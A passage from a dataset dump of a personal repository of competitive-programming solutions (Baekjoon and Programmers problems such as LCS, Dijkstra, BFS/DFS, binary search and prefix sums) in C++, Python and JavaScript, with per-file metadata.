\"e0d677d2e9a52749aaeeef84819680f69f2fd5b0\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"C++\",\n \"length_bytes\": 742,\n \"license_type\": \"no_license\",\n \"max_line_length\": 107,\n \"num_lines\": 29,\n \"path\": \"/BOJ/Dynamic Programming/1958.cpp\",\n \"repo_name\": \"yegyeom/Algorithm\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"/*\\nBOJ 1958번: LCS 3\\nDATE: 2022-02-17\\nDynamic Programming (Longest Common Subsequence)\\n*/\\n#include <iostream>\\n#include <algorithm>\\nusing namespace std;\\n\\nint dp[101][101][101];\\n\\nint main(){\\n ios_base::sync_with_stdio(0); cin.tie(0); cout.tie(0);\\n string a, b, c;\\n cin >> a >> b >> c;\\n\\n for(int i = 1 ; i <= a.length() ; i++){\\n for(int j = 1 ; j <= b.length() ; j++){\\n for(int k = 1 ; k <= c.length() ; k++){\\n if(a[i - 1] == b[j - 1] && b[j - 1] == c[k - 1]) dp[i][j][k] = dp[i - 1][j - 1][k - 1] + 1;\\n else dp[i][j][k] = max({dp[i - 1][j][k], dp[i][j - 1][k], dp[i][j][k - 1]});\\n }\\n }\\n }\\n \\n cout << dp[a.length()][b.length()][c.length()];\\n\\n return 0;\\n}\"\n },\n {\n \"alpha_fraction\": 0.47398844361305237,\n \"alphanum_fraction\": 0.49793559312820435,\n \"avg_line_length\": 19.542373657226562,\n \"blob_id\": \"e3dc59bb3d7fcd421cfe7ea4dafc1d64ee212093\",\n \"content_id\": \"95e71d7898bd6837566eaea6dab0767608d3d9d6\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"C++\",\n \"length_bytes\": 1221,\n \"license_type\": \"no_license\",\n \"max_line_length\": 84,\n \"num_lines\": 59,\n \"path\": \"/BOJ/Dijkstra/5972.cpp\",\n \"repo_name\": \"yegyeom/Algorithm\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"/*\\nBOJ 5972번: 택배 배송\\n2021-12-29\\nDijkstra Algorithm\\n*/\\n#include <iostream>\\n#include <vector>\\n#include <queue>\\n#define MAX 50001\\n#define INF 1e9\\nusing namespace std;\\n\\nint d[MAX];\\nvector<pair<int, int>> graph[MAX];\\n\\nvoid dijkstra(int start) {\\n priority_queue<pair<int,int>, vector<pair<int,int>>, greater<pair<int,int>>> pq;\\n \\n pq.push({0, start});\\n d[start] = 0;\\n\\n while(!pq.empty()) {\\n int distance = pq.top().first;\\n int cur = pq.top().second;\\n pq.pop();\\n\\n if(distance > d[cur]) continue; \\n for(int i = 0 ; i < graph[cur].size() ; i++) {\\n int newDistance = graph[cur][i].second;\\n int next = graph[cur][i].first;\\n\\n if(newDistance + distance < d[next]) {\\n d[next] = newDistance + distance;\\n pq.push({d[next], next});\\n }\\n }\\n }\\n}\\n\\nint main() {\\n ios_base::sync_with_stdio(0); cin.tie(0); cout.tie(0);\\n int n, m;\\n int a, b, c;\\n\\n cin >> n >> m;\\n\\n for(int i = 0 ; i < m ; i++) {\\n cin >> a >> b >> c;\\n graph[a].push_back({b, c});\\n graph[b].push_back({a, c});\\n }\\n\\n fill(d, d + n + 1, INF);\\n\\n dijkstra(1);\\n cout << d[n];\\n \\n return 0;\\n}\"\n },\n {\n \"alpha_fraction\": 0.47730061411857605,\n \"alphanum_fraction\": 0.5030674934387207,\n \"avg_line_length\": 17.545454025268555,\n \"blob_id\": \"3cd1692539828ab077dcebeccb8e8cd329f58b0d\",\n \"content_id\": \"0a5f3e4d9478af326abae0e0c8e9ac96dcb462ba\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 819,\n \"license_type\": \"no_license\",\n \"max_line_length\": 35,\n \"num_lines\": 44,\n \"path\": \"/BOJ/BFS_DFS/1260.py\",\n \"repo_name\": \"yegyeom/Algorithm\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"# 1260.py\\n# BOJ 1260번: DFS와 BFS\\n# DATE: 2022-03-15\\nimport sys\\nfrom collections import deque\\nread = sys.stdin.readline\\n\\ndef dfs(v):\\n print(v, end=' ')\\n visited[v] = True\\n \\n for i in graph[v]:\\n if not visited[i]:\\n dfs(i)\\n\\ndef bfs(n):\\n visited[n] = True;\\n queue = deque([n])\\n \\n while queue:\\n v = queue.popleft()\\n print(v, end=' ')\\n \\n for i in graph[v]:\\n if not visited[i]:\\n queue.append(i)\\n visited[i] = True\\n \\nn, m, v = map(int, read().split())\\ngraph = [[] for _ in range(n+1)]\\nvisited = [False] * (n+1)\\n\\nfor _ in range(m):\\n a, b = map(int, read().split())\\n graph[a].append(b)\\n graph[b].append(a)\\n\\nfor i in range(1, n+1):\\n graph[i].sort()\\n \\ndfs(v)\\nvisited = [False] * (n+1)\\nprint()\\nbfs(v)\"\n },\n {\n \"alpha_fraction\": 0.4285714328289032,\n \"alphanum_fraction\": 0.4680851101875305,\n \"avg_line_length\": 14.325581550598145,\n \"blob_id\": \"e70c5b6e009c456c71e388bb9301f7a404daec0e\",\n \"content_id\": \"b6bf56915fb1640b23da7755cba2a4dcc6595b26\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"C++\",\n \"length_bytes\": 672,\n \"license_type\": \"no_license\",\n \"max_line_length\": 58,\n \"num_lines\": 43,\n \"path\": \"/BOJ/BFS_DFS/1182.cpp\",\n \"repo_name\": \"yegyeom/Algorithm\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"/*\\nBOJ 1182번: 부분수열의 합\\nDATE: 2022-02-04\\nBacktracking\\n*/\\n#include <iostream>\\nusing namespace std;\\n\\nint n, s, ans;\\nint arr[21];\\nbool visited[21];\\n\\nvoid dfs(int num) {\\n int sum = 0;\\n\\n for(int i = 1 ; i <= n ; i++) {\\n if(visited[i]) sum += arr[i];\\n }\\n\\n if(sum == s) ans++;\\n\\n for(int i = num ; i <= n ; i++) {\\n if(visited[i]) continue;\\n\\n visited[i] = true;\\n dfs(i + 1);\\n visited[i] = false;\\n }\\n}\\n\\nint main() {\\n ios_base::sync_with_stdio(0); cin.tie(0); cout.tie(0);\\n cin >> n >> s;\\n\\n for(int i = 1 ; i <= n ; i++) cin >> arr[i];\\n\\n dfs(1);\\n if(s == 0) ans--;\\n \\n cout << ans;\\n\\n return 0;\\n}\"\n },\n {\n \"alpha_fraction\": 0.3451612889766693,\n \"alphanum_fraction\": 0.3774193525314331,\n \"avg_line_length\": 15.92727279663086,\n \"blob_id\": \"9ecb17ea437ce400a0ebebe41826576d84ffe878\",\n \"content_id\": \"d7e34b37c03138ba1f1f2cc1c0125f1aa760ed35\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"C++\",\n \"length_bytes\": 940,\n \"license_type\": \"no_license\",\n \"max_line_length\": 58,\n \"num_lines\": 55,\n \"path\": \"/BOJ/BFS_DFS/11403.cpp\",\n \"repo_name\": \"yegyeom/Algorithm\",\n \"src_encoding\": \"UHC\",\n \"text\": \"/*\\nBOJ 11403번: 경로 찾기\\nDATE: 2021-02-22\\nBFS\\n*/\\n#include <iostream>\\n#include <queue>\\nusing namespace std;\\n\\nint n;\\nint arr[101][101];\\n\\nvoid bfs(int num){\\n bool visited[n] = {false, };\\n queue<int> q;\\n\\n q.push(num);\\n\\n while(!q.empty()){\\n int cur = q.front();\\n q.pop();\\n\\n for(int i = 0 ; i < n ; i++){\\n if(arr[cur][i] && !visited[i]){\\n q.push(i);\\n visited[i] = true;\\n arr[num][i] = 1;\\n }\\n }\\n }\\n}\\n\\nint main(){\\n ios_base::sync_with_stdio(0); cin.tie(0); cout.tie(0);\\n cin >> n;\\n\\n for(int i = 0 ; i < n ; i ++){\\n for(int j = 0 ; j < n ; j++){\\n cin >> arr[i][j]; \\n }\\n }\\n\\n for(int i = 0 ; i < n ; i++){\\n bfs(i);\\n }\\n\\n for(int i = 0 ; i < n ; i ++){\\n for(int j = 0 ; j < n ; j++){\\n cout << arr[i][j] << \\\" \\\"; \\n }\\n cout << \\\"\\\\n\\\";\\n }\\n\\n return 0;\\n}\"\n },\n {\n \"alpha_fraction\": 0.6489361524581909,\n \"alphanum_fraction\": 0.7021276354789734,\n \"avg_line_length\": 30.33333396911621,\n \"blob_id\": \"a07a257eb16f8cf1bc76efd2268b4761f99186f1\",\n \"content_id\": \"fe62c44c49a62509c9b785a1c43e0993d777d31a\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Markdown\",\n \"length_bytes\": 134,\n \"license_type\": \"no_license\",\n \"max_line_length\": 59,\n \"num_lines\": 3,\n \"path\": \"/README.md\",\n \"repo_name\": \"yegyeom/Algorithm\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"# ALGORITHM \\n### 백준, 프로그래머스 문제 풀이\\n자세한 풀이는 (https://9x211x2.tistory.com/category/ALGORITHM) ✏✏\\n\"\n },\n {\n \"alpha_fraction\": 0.4636678099632263,\n \"alphanum_fraction\": 0.49596309661865234,\n \"avg_line_length\": 16.360000610351562,\n \"blob_id\": \"a4c81e91c2cb7936b18d3473997a30282e559029\",\n \"content_id\": \"ed8c47a214f84f7804f760347c65bd45f6933aa8\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"C++\",\n \"length_bytes\": 877,\n \"license_type\": \"no_license\",\n \"max_line_length\": 52,\n \"num_lines\": 50,\n \"path\": \"/programmers/Level 1/make_prime_number.cpp\",\n \"repo_name\": \"yegyeom/Algorithm\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"//programmers Level 1: 소수 만들기\\n//2021-10-11\\n#include <vector>\\n#include <math.h>\\n#include <iostream>\\nusing namespace std;\\n\\nvector<int> v;\\nint cArr[3];\\nint answer = 0;\\n\\nbool isPrime(int num) {\\n if(num < 2) return false;\\n \\n for(int i = 2 ; i <= sqrt(num) ; i++) {\\n if(num % i == 0) return false;\\n }\\n \\n return true;\\n}\\n\\nvoid combination(int depth, int next) {\\n if(depth == 3) {\\n int sum = 0;\\n \\n for(int i = 0 ; i < 3 ; i++) sum += cArr[i];\\n if(isPrime(sum)) answer++;\\n \\n return;\\n }\\n \\n for(int i = next ; i <= v.size() ; i++) {\\n cArr[depth] = v[i - 1];\\n combination(depth + 1, i + 1);\\n }\\n}\\n\\nint solution(vector<int> nums) {\\n v = nums;\\n combination(0, 1);\\n \\n return answer;\\n}\\n\\nint main() {\\n int answer = solution({1, 2, 3, 4});\\n cout << answer;\\n\\n return 0;\\n}\"\n },\n {\n \"alpha_fraction\": 0.3113890588283539,\n \"alphanum_fraction\": 0.3429888188838959,\n \"avg_line_length\": 20.11111068725586,\n \"blob_id\": \"a37d3097c89ced02bcdacf58ec500c4f9ae26118\",\n \"content_id\": \"4be2ea597fb7c27ce424da89084241226e719749\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"C++\",\n \"length_bytes\": 1621,\n \"license_type\": \"no_license\",\n \"max_line_length\": 71,\n \"num_lines\": 72,\n \"path\": \"/BOJ/Implementation/20055.cpp\",\n \"repo_name\": \"yegyeom/Algorithm\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"/*\\nBOJ 20055번: 컨베이어 벨트 위의 로봇\\nDATE: 2021-10-21\\n*/\\n#include <iostream>\\n#include <vector>\\nusing namespace std;\\n\\nint main() {\\n ios_base::sync_with_stdio(0); cin.tie(0); cout.tie(0);\\n int n, k, in, out;\\n int ans = 0;\\n cin >> n >> k;\\n\\n in = 0; out = n - 1; // 올리는 위치, 내리는 위치\\n vector<pair<int,int>> v(n + n); // 내구도, 로봇 존재 여부\\n \\n for(int i = 0 ; i < n + n ; i++) {\\n cin >> v[i].first;\\n v[i].second = 0;\\n }\\n\\n while(1) {\\n bool flag = true;\\n int check = 0;\\n ans++; // 단계\\n\\n // 한 칸씩 회전\\n pair<int,int> tmp = v[n + n - 1];\\n\\n for(int i = n + n - 2 ; i >= 0 ; i--) v[i + 1] = v[i];\\n v[0] = tmp;\\n\\n if(v[out].second) v[out].second = 0;\\n\\n // 로봇 이동\\n for(int i = n - 2 ; i >= 0 ; i--) {\\n if(!v[i + 1].second && v[i].second && v[i + 1].first > 0) {\\n v[i].second = 0;\\n v[i + 1].first -= 1;\\n v[i + 1].second = 1;\\n\\n if(i + 1 == out) {\\n v[i + 1].second = 0;\\n }\\n }\\n }\\n\\n // 로봇 올리기\\n if(v[in].first > 0) {\\n v[in].first -= 1;\\n v[in].second = 1;\\n }\\n\\n // 내구도 확인\\n for(int i = 0 ; i < n + n ; i++) {\\n if(v[i].first == 0) {\\n check++;\\n if(check == k) {\\n flag = false;\\n break;\\n }\\n }\\n }\\n\\n if(!flag) break;\\n }\\n\\n cout << ans;\\n\\n return 0;\\n}\"\n },\n {\n \"alpha_fraction\": 0.3111254870891571,\n \"alphanum_fraction\": 0.3363518714904785,\n \"avg_line_length\": 23.95161247253418,\n \"blob_id\": \"72dca78abe27b61b8961e1bcf0f636cf8a92294b\",\n \"content_id\": \"5ed24ecf020609305e76ce3ef65291812cb122ac\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"C++\",\n \"length_bytes\": 1552,\n \"license_type\": \"no_license\",\n \"max_line_length\": 94,\n \"num_lines\": 62,\n \"path\": \"/BOJ/Two Pointer/17609.cpp\",\n \"repo_name\": \"yegyeom/Algorithm\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"/*\\nBOJ 17609번: 회문\\nDATE: 2022-03-18\\n*/\\n#include <iostream>\\n#include <algorithm>\\nusing namespace std;\\n\\nint main(){\\n ios_base::sync_with_stdio(0); cin.tie(0); cout.tie(0);\\n int t;\\n string orgStr, revStr;\\n\\n cin >> t;\\n\\n while(t--){\\n cin >> revStr;\\n\\n orgStr = revStr;\\n reverse(revStr.begin(), revStr.end());\\n\\n if(orgStr == revStr) cout << 0 << '\\\\n';\\n else{\\n int s = 0, e = orgStr.length() - 1;\\n int cnt = 0;\\n\\n while(s < e){\\n if(orgStr[s] == orgStr[e]){\\n s++;\\n e--;\\n }\\n else if(orgStr[s + 1] == orgStr[e] && orgStr[s] != orgStr[e - 1] && cnt == 0){\\n cnt++;\\n s++;\\n }\\n else if(orgStr[s] == orgStr[e - 1] && orgStr[s + 1] != orgStr[e] && cnt == 0){\\n cnt++;\\n e--;\\n }\\n else{\\n string A = orgStr, B = orgStr;\\n A.erase(s, 1);\\n B.erase(e, 1);\\n \\n string revA = A, revB = B;\\n reverse(revA.begin(), revA.end());\\n reverse(revB.begin(), revB.end());\\n\\n if(revA == A || revB == B) cout << 1 << '\\\\n';\\n else cout << 2 << '\\\\n';\\n\\n cnt = 100000;\\n break;\\n }\\n }\\n\\n if(cnt == 1) cout << 1 << '\\\\n';\\n }\\n }\\n\\n return 0;\\n}\"\n },\n {\n \"alpha_fraction\": 0.3979797959327698,\n \"alphanum_fraction\": 0.4484848380088806,\n \"avg_line_length\": 14.030303001403809,\n \"blob_id\": \"14bafcf51503c339a6fc076b05ed6bf5186098dd\",\n \"content_id\": \"019510e9d42fb4c12322e272c4a7ab5ae92c4694\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"C++\",\n \"length_bytes\": 507,\n \"license_type\": \"no_license\",\n \"max_line_length\": 58,\n \"num_lines\": 33,\n \"path\": \"/BOJ/Implementation/14425.cpp\",\n \"repo_name\": \"yegyeom/Algorithm\",\n \"src_encoding\": \"UHC\",\n \"text\": \"/*\\nBOJ 14425번: 문자열 집합\\nDATE: 2021-02-15\\n*/\\n#include <iostream>\\n#include <map>\\nusing namespace std;\\n\\nint main(){\\n ios_base::sync_with_stdio(0); cin.tie(0); cout.tie(0);\\n int n, m, cnt=0;\\n cin >> n >> m;\\n\\n map<string, int> m1;\\n\\n for(int i = 0 ; i < n ; i++){\\n string str;\\n cin >> str;\\n\\n m1[str] = 1;\\n }\\n\\n for(int i = 0 ; i < m ; i++){\\n string str;\\n cin >> str;\\n \\n if(m1[str] == 1) cnt++;\\n }\\n\\n cout << cnt;\\n\\n return 0;\\n}\"\n },\n {\n \"alpha_fraction\": 0.40799999237060547,\n \"alphanum_fraction\": 0.4533333480358124,\n \"avg_line_length\": 18.256410598754883,\n \"blob_id\": \"33d0f942f1c9c3653c6201c9917b79ecf5a046e0\",\n \"content_id\": \"07635befae89dbf78e7b37ceb95eb3dd7368825d\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"C++\",\n \"length_bytes\": 790,\n \"license_type\": \"no_license\",\n \"max_line_length\": 58,\n \"num_lines\": 39,\n \"path\": \"/BOJ/Bitmask/2961.cpp\",\n \"repo_name\": \"yegyeom/Algorithm\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"/*\\nBOJ 2961번: 도영이가 만든 맛있는 음식\\nDATE: 2022-01-26\\nBitmask\\n*/\\n#include <iostream>\\n#include <vector>\\n#include <algorithm>\\nusing namespace std;\\n\\nint main() {\\n ios_base::sync_with_stdio(0); cin.tie(0); cout.tie(0);\\n int n, a, b;\\n long long minimum = 10000000000;\\n cin >> n;\\n\\n vector<pair<int,int>> vec(n);\\n\\n for(int i = 0 ; i < n ; i++) {\\n cin >> vec[i].first >> vec[i].second;\\n }\\n\\n for(int i = 1 ; i < (1 << n) ; i++) { // 부분 집합 전체 개수\\n long long a = 1, b = 0;\\n\\n for(int j = 0 ; j < n ; j++){\\n if(i & (1 << j)) {\\n a *= vec[j].first; \\n b += vec[j].second;\\n }\\n }\\n\\n minimum = min(minimum, abs(a - b));\\n }\\n\\n cout << minimum;\\n \\n return 0;\\n}\"\n },\n {\n \"alpha_fraction\": 0.42115384340286255,\n \"alphanum_fraction\": 0.4596153795719147,\n \"avg_line_length\": 16.366666793823242,\n \"blob_id\": \"0e526f4b44c0dfd7ef928588e69fd94057a89830\",\n \"content_id\": \"25dd14f9023aff849914ba98c51d401585d8a3d7\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"C++\",\n \"length_bytes\": 532,\n \"license_type\": \"no_license\",\n \"max_line_length\": 60,\n \"num_lines\": 30,\n \"path\": \"/BOJ/Implementation/11728.cpp\",\n \"repo_name\": \"yegyeom/Algorithm\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"/*\\nBOJ 11728번: 배열 합치기\\n2021-12-28\\n*/\\n#include <iostream>\\n#include <vector>\\n#include <algorithm>\\nusing namespace std;\\n\\nint main() {\\n ios_base::sync_with_stdio(0); cin.tie(0); cout.tie(0);\\n vector<int> v;\\n int a, b, n;\\n cin >> a >> b;\\n\\n for(int i = 0 ; i < a ; i++) {\\n cin >> n;\\n v.push_back(n);\\n }\\n\\n for(int i = 0 ; i < b ; i++) {\\n cin >> n;\\n v.push_back(n);\\n }\\n\\n sort(v.begin(), v.end());\\n for(int i = 0 ; i < v.size() ; i++) cout << v[i] << \\\" \\\";\\n\\n return 0;\\n}\"\n },\n {\n \"alpha_fraction\": 0.4411085546016693,\n \"alphanum_fraction\": 0.48960739374160767,\n \"avg_line_length\": 12.151515007019043,\n \"blob_id\": \"63b544087844ff73f4b25e744b2c3b37b03d8e98\",\n \"content_id\": \"b9e1c314b329c43f119045bc6300d9769e4b13fd\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"C++\",\n \"length_bytes\": 441,\n \"license_type\": \"no_license\",\n \"max_line_length\": 30,\n \"num_lines\": 33,\n \"path\": \"/BOJ/Implementation/11279.cpp\",\n \"repo_name\": \"yegyeom/Algorithm\",\n \"src_encoding\": \"WINDOWS-1252\",\n \"text\": \"/*\\nBOJ 11279¹ø: ÃÖ´ë Èü\\nDATE: 2021-01-06\\n*/\\n#include <iostream>\\n#include <queue>\\nusing namespace std;\\n\\nint main() {\\n\\tios_base::sync_with_stdio(0);\\n\\tcin.tie(0);\\n\\n\\tint n, x;\\n\\tpriority_queue<int> pq;\\n\\n\\tcin >> n;\\n\\n\\tfor (int i = 0; i < n; i++) {\\n\\t\\tcin >> x;\\n\\t\\tif (x != 0) {\\n\\t\\t\\tpq.push(x);\\n\\t\\t}\\n\\t\\telse if (x == 0) {\\n\\t\\t\\tif (pq.empty()) {\\n\\t\\t\\t\\tcout << 0 << \\\"\\\\n\\\";\\n\\t\\t\\t\\tcontinue;\\n\\t\\t\\t}\\n\\t\\t\\tcout << pq.top() << \\\"\\\\n\\\";\\n\\t\\t\\tpq.pop();\\n\\t\\t}\\n\\t}\\n\\treturn 0;\\n}\"\n },\n {\n \"alpha_fraction\": 0.4329896867275238,\n \"alphanum_fraction\": 0.47766321897506714,\n \"avg_line_length\": 14.368420600891113,\n \"blob_id\": \"e09ada9a1eb2b4efac11c21eeac24b1f4a6177c8\",\n \"content_id\": \"0496568ddd203dd959ea38c3027cd3cec1b926af\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"JavaScript\",\n \"length_bytes\": 295,\n \"license_type\": \"no_license\",\n \"max_line_length\": 47,\n \"num_lines\": 19,\n \"path\": \"/programmers/Level 2/carpet.js\",\n \"repo_name\": \"yegyeom/Algorithm\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"/*\\nprogrammers Level 2: 카펫\\n2021-12-27\\n*/\\nfunction solution(brown, yellow) {\\n let answer = [];\\n let h = 3, w;\\n\\n while (1) {\\n w = Math.floor((brown + yellow) / h);\\n\\n if ((h - 2) * (w - 2) == yellow) break;\\n h++;\\n }\\n\\n answer.push(w, h);\\n\\n return answer;\\n}\"\n },\n {\n \"alpha_fraction\": 0.33853355050086975,\n \"alphanum_fraction\": 0.40873634815216064,\n \"avg_line_length\": 17.882352828979492,\n \"blob_id\": \"34535d0335d4f12a7ef82ebe23677801b35acaf7\",\n \"content_id\": \"083748add1b612e24102102b880b8a2437e656a3\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"C++\",\n \"length_bytes\": 655,\n \"license_type\": \"no_license\",\n \"max_line_length\": 75,\n \"num_lines\": 34,\n \"path\": \"/BOJ/Prefix Sum/11660.cpp\",\n \"repo_name\": \"yegyeom/Algorithm\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"/*\\nBOJ 11660번: 구간 합 구하기 5\\nDATE: 2022-01-22\\nPrefix Sum\\n*/\\n#include <iostream>\\nusing namespace std;\\n\\nint arr[1025][1026];\\n\\nint main(){\\n ios_base::sync_with_stdio(0); cin.tie(0); cout.tie(0);\\n int n, m, ans = 0;\\n int x1, y1, x2, y2;\\n cin >> n >> m;\\n\\n for(int i = 1 ; i <= n ; i++){\\n for(int j = 1 ; j <= n ; j++){\\n cin >> arr[i][j];\\n arr[i][j] += arr[i][j - 1];\\n }\\n }\\n \\n for(int i = 0 ; i < m ; i++){\\n cin >> x1 >> y1 >> x2 >> y2;\\n\\n ans = 0;\\n for(int i = x1 ; i <= x2 ; i++) ans += arr[i][y2] - arr[i][y1 - 1];\\n\\n cout << ans << '\\\\n';\\n }\\n\\n return 0;\\n}\"\n },\n {\n \"alpha_fraction\": 0.37249594926834106,\n \"alphanum_fraction\": 0.4120194911956787,\n \"avg_line_length\": 21.265060424804688,\n \"blob_id\": \"03a3178c1167ce6a646ef601248fb45f5cc82e8d\",\n \"content_id\": \"73f68633b4e522f3c4d704eb2b55188ee92c9a1b\",\n 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}\\n}\\n\\nvector<int> solution(int m, int n, vector<vector<int>> picture) {\\n int number_of_area = 0;\\n int max_size_of_one_area = 0;\\n vector<int> answer(2);\\n vector<int> v;\\n \\n cnt = area = 0;\\n r = m;\\n c = n;\\n\\n for(int i = 0 ; i < MAX ; i++){\\n for(int j = 0 ; j < MAX ; j++){\\n arr[i][j] = visited[i][j] = 0;\\n \\n }\\n }\\n \\n for(int i = 0 ; i < m ; i++){\\n for(int j = 0 ; j < n ; j++){\\n arr[i][j] = picture[i][j];\\n }\\n } \\n \\n for(int i = 0 ; i < m ; i++){\\n for(int j = 0 ; j < n ; j++){\\n if(arr[i][j] != 0){\\n cnt = 0;\\n dfs(i, j);\\n area++;\\n v.push_back(cnt);\\n }\\n }\\n }\\n \\n sort(v.begin(), v.end());\\n \\n answer[0] = number_of_area = area;\\n answer[1] = max_size_of_one_area = v[v.size() - 1];\\n return answer;\\n}\\n\\nint main(){\\n vector<vector<int>> picture = {{1, 1, 1, 0}, {1, 1, 1, 0}, {0, 0, 0, 1}, {0, 0, 0, 1}, {0, 0, 0, 1}, {0, 0, 0, 1}};\\n \\n vector <int> answer = solution(6, 4, picture);\\n\\n for(int i = 0 ; i < answer.size() ; i++){\\n cout << answer[i] << \\\" \\\";\\n }\\n\\n return 0;\\n}\"\n },\n {\n \"alpha_fraction\": 0.3957446813583374,\n \"alphanum_fraction\": 0.42553192377090454,\n \"avg_line_length\": 15.821428298950195,\n \"blob_id\": \"023d689f428c69498c444aee4793e0006a44a39b\",\n \"content_id\": \"e5a5050e623e12437b912f2a09030f50dad31fa6\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"C++\",\n \"length_bytes\": 476,\n \"license_type\": \"no_license\",\n \"max_line_length\": 58,\n \"num_lines\": 28,\n \"path\": \"/BOJ/Implementation/9012.cpp\",\n \"repo_name\": \"yegyeom/Algorithm\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"/*\\nBOJ 9012번: 괄호\\nDATE: 2022-04-05\\n*/\\n#include <iostream>\\n#include <stack>\\nusing namespace std;\\n\\nint main(){\\n int t;\\n cin >> t;\\n\\n while(t--){\\n stack<char> s;\\n string str;\\n cin >> str;\\n\\n for(int i = 0 ; i < str.length() ; i++) {\\n if(s.empty() || str[i] == '(') s.push(str[i]);\\n else if(s.top() == '(') s.pop();\\n }\\n\\n if(!s.empty()) cout << \\\"NO\\\\n\\\";\\n else cout << \\\"YES\\\\n\\\";\\n }\\n\\n return 0;\\n}\"\n },\n {\n \"alpha_fraction\": 0.3884892165660858,\n \"alphanum_fraction\": 0.42446044087409973,\n \"avg_line_length\": 17.730770111083984,\n \"blob_id\": \"b944a110de3f04da15d9ffbee15f930a5788df33\",\n \"content_id\": \"19f218b728d1a5342dc99fe8c86c53c0384e91d0\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"C++\",\n \"length_bytes\": 1115,\n \"license_type\": \"no_license\",\n \"max_line_length\": 69,\n \"num_lines\": 52,\n \"path\": \"/BOJ/Binary Search/2110.cpp\",\n \"repo_name\": \"yegyeom/Algorithm\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"/*\\nBOJ 2110번: 공유기 설치\\nDATE: 2021-07-01\\nUPDATE: 2021-11-29\\nBinary Search\\n*/\\n#include <iostream>\\n#include <algorithm>\\nusing namespace std;\\n\\nint main(){\\n ios_base::sync_with_stdio(0); cin.tie(0); cout.tie(0);\\n int n, c, start, end, mid, ans=-1;\\n cin >> n >> c;\\n\\n int arr[n];\\n for(int i = 0 ; i < n ; i++){\\n cin >> arr[i];\\n }\\n\\n sort(arr, arr+n);\\n\\n start = 1;\\n end = arr[n-1];\\n\\n while(end - start >= 0){\\n int cnt=1, idx = 0; \\n mid = (end + start) / 2; //공유기 사이의 거리가 최소 x 이상일 때, 가능한 최대의 x값\\n\\n for(int i = 1 ; i < n ; i++){\\n if(arr[i] - arr[idx] >= mid) {\\n idx = i; // 공유기 설치\\n cnt++;\\n }\\n }\\n\\n //공유기의 개수가 c보다 작으면: 최소 거리의 최댓값 감소\\n //크거나 같으면: 최소 거리의 최댓값 증가\\n if(cnt < c){ \\n end = mid - 1;\\n }\\n else if(cnt >= c){\\n start = mid + 1;\\n ans = max(ans, mid);\\n }\\n\\n }\\n\\n cout << ans;\\n\\n return 0;\\n}\"\n },\n {\n \"alpha_fraction\": 0.4766214191913605,\n \"alphanum_fraction\": 0.5037707686424255,\n \"avg_line_length\": 18.52941131591797,\n \"blob_id\": \"6fa857b3c074db913bac26b4f0018dcb81c1c5f3\",\n \"content_id\": \"1013f0f02ca6664dd9ddd72d49c8784a11083083\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": 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}\\n\\n cout << maxVal << '\\\\n';\\n }\\n\\n return 0;\\n}\"\n },\n {\n \"alpha_fraction\": 0.4746543765068054,\n \"alphanum_fraction\": 0.5299538969993591,\n \"avg_line_length\": 20.799999237060547,\n \"blob_id\": \"b963557c536d0b4ae22e33d9fe624c8790d55508\",\n \"content_id\": \"e70875d860a56455af122861cc018776376fedea\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"JavaScript\",\n \"length_bytes\": 225,\n \"license_type\": \"no_license\",\n \"max_line_length\": 74,\n \"num_lines\": 10,\n \"path\": \"/programmers/Level 2/the_biggest_number.js\",\n \"repo_name\": \"yegyeom/Algorithm\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"/*\\nprogrammers Level 2: 가장 큰 수\\n2021-12-27\\n*/\\nfunction solution(numbers) {\\n let answer = numbers.sort((a, b) => `${b}${a}` - `${a}${b}`).join('');\\n answer = answer[0] === \\\"0\\\" ? \\\"0\\\" : answer;\\n\\n return answer;\\n}\"\n },\n {\n \"alpha_fraction\": 0.3964562714099884,\n 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sort(vec.begin(), vec.end());\\n\\n for(int i = 0 ; i < n ; i++) { \\n vector<int> cp = vec;\\n cp.erase(cp.begin() + i);\\n \\n start = 0; end = n - 2;\\n\\n while(start < end) {\\n int sum = cp[start] + cp[end];\\n\\n if(sum == vec[i]) {\\n ans++;\\n 